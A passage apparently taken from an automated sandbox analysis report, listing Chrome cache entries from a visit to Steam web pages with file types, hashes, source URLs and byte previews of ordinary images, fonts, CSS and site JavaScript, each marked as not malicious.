Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	4.859929051286054
Encrypted:	false
SSDEEP:	48:rHU4mVNJoFtEWNBhEsNNrEeMdCoqM6VNc0NrWNtylpw6NihRd9Nydcg3SWNO95gm:rHRi6lK8PiTbu93C
MD5:	4FD1E1B49F3598980DC2B260B66A89C0
SHA1:	818B65159E35AB980DE9C00F24C0BEEAC7E3FDF8
SHA-256:	83D8195AEC4990C3EC59DE990B2F0E703FF31054ACDD73B1637254A7716BD5F6
SHA-512:	BCAD622E210374A8FDE4D29565407EBD221390C467C560E04E74C31764533939A8C485994B7B8B27F647CAD07ED59204B92C224FE97699B47CC0754526BF03FD
Malicious:	false
Reputation:	low
Preview:	..$J( document ).ready(...function( )...{....console.log('ready');......function elFadeIn(selected_el)....{.....var windowHeight = $J( window ).height();.....$J( selected_el ).each(......function()......{.......var thisPos = $J( this ).offset().top;.......var topOfWindow = $J( window ).scrollTop();.........if ( topOfWindow + windowHeight - 200 > thisPos ).......{........$J( this ).find( 'img:not(.visible)' ).each(.........function(idx, img).........{..........$J(img).addClass('visible');.........}........);.......}......}.....);....}......var $slick_slider = $J( '#about_steam_features_grid' );......var settings = {.....centerMode: true,.....centerPadding: '10vw',.....slidesToShow: 1,.....dots: true,.....arrows: false,.....infinite: true....}......if ( $J( window ).width() < 750 )....{.....$slick_slider.slick( settings ).on(......'setPosition',......function ( event, slick )......{.......slick.$slides.css( 'height', slick.$slideTrack.height() + 'px ');......}.....);....}......$J( window

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	downloaded
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
URL:	https://recaptcha.net/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x690, components 3
Category:	downloaded
Size (bytes):	65743
Entropy (8bit):	7.811780908461519
Encrypted:	false
SSDEEP:	1536:rNLzMwRMBrmzHC4IO0cYFmL+76ELuC+ZYJ+pGXN:JLzVm6dIO0tmqoZC+G9
MD5:	105F079801573F86F1EB00E5A5859B5B
SHA1:	A25DA185557ECC0EB30943F902723B415BBA4728
SHA-256:	B258176E6B291343C18679962AB8658108451A22F12A5AECAB106501D8BC091E
SHA-512:	FB3574ADE953AC8DC2DBD866D035327B73E1AD47528A878BF6B8C328679F44D7CB513A57E74A2E0489A5B42FA1C8992E9EE73EC54F7F19047F2E863BE5FBC8F7
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/blue_body_repeat.jpg?v=2
Preview:	......Exif..II*.................Ducky.......P.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C" xmpMM:DocumentID="xmp.did:8BA0DB9939F911E4A46BC04E209BF2B0" xmpMM:InstanceID="xmp.iid:8BA0DB9839F911E4A46BC04E209BF2B0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C5062F826C2DE411BAEF90B629DAE306" stRef:documentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=english
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41424, version 0.0
Category:	downloaded
Size (bytes):	41424
Entropy (8bit):	7.98899836549604
Encrypted:	false
SSDEEP:	768:K+F7LEi09DTJ0yWQeu29lsoKyaYopWadPez4bw7VQbywb4AIb3+wEL5i+:ZF6RGVQn2PKboadPU42Qb4AIb9Etj
MD5:	57BD6F5C2A7C3C90763FBF2744699879
SHA1:	27A5CAFFFEBD1D150C6A6B3F7987045482C507C9
SHA-256:	A472DF8BF74A611C4136F892221D4832010988461B4CD9D68058896F1F25A512
SHA-512:	A7647198A5902E16EA4272B4D7F435B4C7A7E2D9A3CE86D9FCE8BE790627A738EAA87011864637E8248A2EEDC809A7FD73AB250B21A35C0EF6060525611C81FD
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff
Preview:	wOFF.............._X........................FFTM............m.._GDEF......./...6...3GPOS..........(.1W.GSUB.............n."OS/2.......O...`h..cmap...\........\|[t.gasp................glyf......o?...T...head...X...1...6....hhea....... ...$....hmtx.......>........loca...l...$...$K..Ymaxp....... ... ....name..~........~_.t=post......./.... +..x.c`d`...e"w..m.2p3.`......`....RX.X..\..&.(.^M.c...x.c`d``....%....A,.@.......J...........................@......x.c`f.a......................\|....31 @.w........L..s0.`...C..a2H...i..R`...1W...x....,;......mk1..w..m.}..m.m.~}..Y..N..\|.2.T*3:...@...$.#....k.U.`....a.~. Y..l@.\.........8.J...,4.#.i<.L..y...[1ZW!...N.sl&:3~..(..=.Y".0.1:[.....0.s3..:.4".3.e..V..."t...a.5.~....B..0... J.e.!t..GK.....!Izr/K..h[.A.>.\.E...>.C.5=..a.D.e..c..Z(.....m..k3c....NOf.J...h..:.}.......jh...{.-...O....Jd.y...u'&0g6....q..!(.hc%..H......i.s.!.9.....UA.....r...M....B"4..&..`..3.`..?....Z.....@c.4&.>:.Ci.<..tk./..r..W..'..D....bc.1s^..gc

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png
Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_accent.png
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	88658
Entropy (8bit):	5.66635034976008
Encrypted:	false
SSDEEP:	768:DTUiHsVJv7oMzMaAYW6HNZEIqhNR08QWQMJviJzn/9UaEFxfsN/WCcZGb98cObY0:+fn/TEr5CFEj+iSgu873pO9EdUnweoQE
MD5:	8398D87A4D3D1D95F4C55802C8594D79
SHA1:	DD838C3B235E24A16E9DE766FCFE7C91034146DA
SHA-256:	D5C70B0915985C9CA0494666E6D54A87828775FF87367FF5E2D0396118D30EC1
SHA-512:	F1152649D6C20F6B6DABECB474137C026CA12C6EC92FFF1CCAE1460F1A09A736062D1D077921391AD7AFC0F4768894C3CBAF0A723123032E9B5418BCEFBC5231
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	downloaded
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/favicon.ico
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
